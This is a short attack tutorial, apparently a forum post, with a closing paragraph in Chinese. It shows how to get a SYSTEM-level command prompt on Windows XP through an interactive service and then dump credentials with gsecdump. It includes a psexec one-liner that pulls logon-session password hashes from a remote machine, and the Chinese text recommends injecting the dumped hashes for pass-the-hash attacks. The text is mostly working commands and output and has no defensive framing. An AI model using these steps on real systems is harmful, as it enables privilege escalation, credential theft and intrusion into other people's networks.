To get a DOS Prompt as NT system:



C:/>sc create shellcmdline binpath= "C:/WINDOWS/system32/cmd.exe /K start" type= own type= interact

[SC] CreateService SUCCESS



C:/>sc start shellcmdline

[SC] StartService FAILED 1053:



The service did not respond to the start or control request in a timely fashion.



C:/>sc delete shellcmdline

[SC] DeleteService SUCCESS



------------



Then in the new DOS window:



Microsoft Windows XP [Version 5.1.2600]

C:/WINDOWS/system32>whoami

NT AUTHORITY/SYSTEM



C:/WINDOWS/system32>gsecdump -h

gsecdump v0.6 by Johannes Gumbel (johannes.gumbel@truesec.se)

usage: gsecdump [options]



options:

-h [ --help ] show help

-a [ --dump_all ] dump all secrets

-l [ --dump_lsa ] dump lsa secrets

-w [ --dump_wireless ] dump microsoft wireless connections

-u [ --dump_usedhashes ] dump hashes from active logon sessions

-s [ --dump_hashes ] dump hashes from SAM/AD



Although I like to use:



PsExec v1.83 - Execute processes remotely

Sysinternals - www.sysinternals.com



C:/>psexec //COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT



to get the hashes from active logon sessions of a remote system.



These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.



提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
